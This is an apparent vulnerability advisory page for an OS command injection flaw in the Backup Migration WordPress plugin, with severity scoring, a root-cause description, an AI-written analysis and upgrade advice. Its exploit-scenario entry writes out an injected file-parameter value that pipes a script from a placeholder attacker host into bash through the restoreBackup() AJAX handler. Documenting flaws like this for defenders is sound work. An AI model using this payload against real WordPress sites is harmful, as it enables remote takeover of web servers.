EUVD-2026-53182
GHSA-982q-x59v-3xjj
Severity by source
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
AV:N because the AJAX handler is remotely invocable; PR:H because Administrator or do_backups capability is a hard prerequisite; S:U because command execution is bounded to the web-server user with no cross-scope pivot described.
Primary rating from Vendor (Wordfence).
CVSS VectorVendor: Wordfence
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
2DescriptionCVE.org
The Backup Migration plugin for WordPress is vulnerable to OS Command Injection in all versions up to, and including, 2.1.5.1 due to insufficient sanitization of the file POST parameter on the restoreBackup() AJAX handler. The handler applies esc_attr() - an HTML-context sanitizer that does not strip shell metacharacters - and concatenates the result, unquoted, into a php-cli -f … bmi_restore <file> <remote> command passed to exec(). This makes it possible for authenticated attackers, with Administrator-level access (or any user granted the plugin's do_backups capability) and above, to execute arbitrary OS commands as the web-server user, bypassing WordPress hardening constants such as DISALLOW_FILE_EDIT and DISALLOW_FILE_MODS that would otherwise prevent code execution from the admin UI. This is an incomplete fix of CVE-2023-7002, which patched the same pattern only in the $_POST['url'] path of handleQuickMigration(); the equivalent mitigations (rawurlencode() + explicit shell-metachar replacement + double-quoting in exec()) were never applied to $backupName.
AnalysisAI
OS command injection in the Backup Migration WordPress plugin (all versions through 2.1.5.1) allows authenticated attackers holding Administrator-level access - or any user granted the plugin's custom do_backups capability - to execute arbitrary operating-system commands as the web-server user. The flaw stems from misuse of esc_attr(), an HTML sanitizer, as a shell sanitizer in the restoreBackup() AJAX handler, enabling shell metacharacter injection into an exec() call. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires an authenticated session with WordPress Administrator-level privileges OR any user account that has been explicitly granted the plugin's custom `do_backups` capability. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 score of 7.2 (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H) accurately characterizes a high-severity but access-gated vulnerability. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker who has obtained valid WordPress administrator credentials - through credential stuffing, phishing, or lateral movement from a compromised account - sends a crafted POST request to the site's `wp-admin/admin-ajax.php` endpoint targeting the `restoreBackup()` handler, with the `file` parameter set to a value such as `valid_backup.zip; curl http://attacker.com/shell.sh | bash`. Because `esc_attr()` does not strip the semicolon or pipe, `exec()` executes the injected command chain as the web-server user (e.g., `www-data`), granting remote OS access even on hardened WordPress instances with `DISALLOW_FILE_EDIT` and `DISALLOW_FILE_MODS` defined. |
| Remediation | Upgrade to Backup Migration version 2.1.5.2, which is confirmed by the WordPress plugin changeset at https://plugins.trac.wordpress.org/changeset?new=3540041%40backup-backup%2Ftags%2F2.1.5.2&old=3512153%40backup-backup%2Ftags%2F2.1.5.1; note that the fix version is inferred from this upstream commit changeset and has not been independently confirmed via a separate vendor security advisory. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, immediately audit all user accounts granted Administrator role and the 'do_backups' capability, restrict plugin access to only essential personnel, and review backup restoration logs for anomalous activity. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
More in Backup Migration
View allThe Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
The Backup Migration plugin for WordPress is vulnerable to OS Command Injection in all versions up to, and including, 1.
The Backup Migration WordPress plugin before 1.3.6 stores in-progress backups information in easy to find, publicly-acce
The Backup Migration plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.3.9 vi
The Backup Migration plugin for WordPress is vulnerable to Remote File Inclusion in versions 1.0.8 to 1.3.9 via the 'con
Several plugins for WordPress by Inisev are vulnerable to Cross-Site Request Forgery to unauthorized installation of plu
Unauthenticated sensitive data exposure in the Inisev Backup Migration WordPress plugin (versions through 2.1.1) allows
Authenticated Persistent Cross-Site Scripting (XSS) vulnerability discovered in WordPress Backup Migration plugin <= 1.1
Several plugins for WordPress by Inisev are vulnerable to unauthorized installation of plugins due to a missing capabili
Same weakness CWE-77 – Command Injection
View allShare
External POC / Exploit Code
Leaving vuln.today